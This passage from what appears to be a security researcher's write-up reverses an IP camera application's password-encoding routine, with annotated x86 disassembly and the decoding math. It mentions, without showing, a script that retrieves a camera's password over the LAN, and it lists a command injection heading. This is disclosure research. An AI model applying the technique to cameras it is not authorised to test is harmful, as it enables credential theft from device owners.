	.MOV EDX,DWORD PTR SS:[LOCAL.3]	; set EDX to our current dword
	.MOVSX ECX,BYTE PTR DS:[EDX+2]	; set ECX to dword[2]
	.SAR ECX,2	; shift right 2 dword[2]
	.ADD AL,CL	; add (shifted left 4 dword[1]) + (shifted right 2 dword[2])
	.MOV EDX,DWORD PTR SS:[LOCAL.5]	; set EDX to point at our current spot in our decoded buffer
	.MOV BYTE PTR DS:[EDX],AL	; write our decoded value to the decoded buffer
	.INC DWORD PTR SS:[LOCAL.5]	; move to the next spot in our decoded buffer
	.MOV EAX,DWORD PTR SS:[LOCAL.3]	; set EAX to point at our current dword
	.MOV CL,BYTE PTR DS:[EAX+2]	; set ECX/CL to dword[2]
	.SHL ECX,6	; shift left 6 dword[2]
	.MOV EAX,DWORD PTR SS:[LOCAL.3]	; point EAX at our current dword
	.ADD CL,BYTE PTR DS:[EAX+3]	; add dword[3] + (shifted left 6 dword[2])
	.MOV EDX,DWORD PTR SS:[LOCAL.5]	; point EDX at our current decoded buffer
	.MOV BYTE PTR DS:[EDX],CL	; write our decoded value to the decoded buffer
	.INC DWORD PTR SS:[LOCAL.5]	; increment our deocded buffer
	.MOV ECX,DWORD PTR SS:[ARG.4]	; set ECX to our current offset?
	.ADD DWORD PTR DS:[ECX],3	; add 4 for our current byte counter?
	.JMP 0A729EA6	; jump

Translated into english: the application first uses a lookup table to translate every byte in the input string, to do this it uses the value of the current byte as an offset into the table. After it is done with "stage1" it traverses the translated input buffer a dword at a time and does some bit shifting and addition to fully decode the value. The following roughly shows the "stage2" routine:

(Dword[0] << 2) + (Dword[1] >> 4) = unencoded byte 1

(Dword[1] << 4) + (Dword[2] >> 2) = unencoded byte 2

(Dword[2] << 6) + Dword[3] = unencoded byte 3

I then confirmed that this routine worked on an "encoded" value that went over the wire from the application to the camera. After confirming the encoding scheme worked, I recreated the network transaction the application does with the camera to create a stand alone script that will retrieve the password from a camera that is on the same lan as the "attacker". The script can be found here, thanks to Jason Doyle for the original finding (@jasond0yle ).

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The obvious problems

The double-blind command injection

My hardening list

My TODO list

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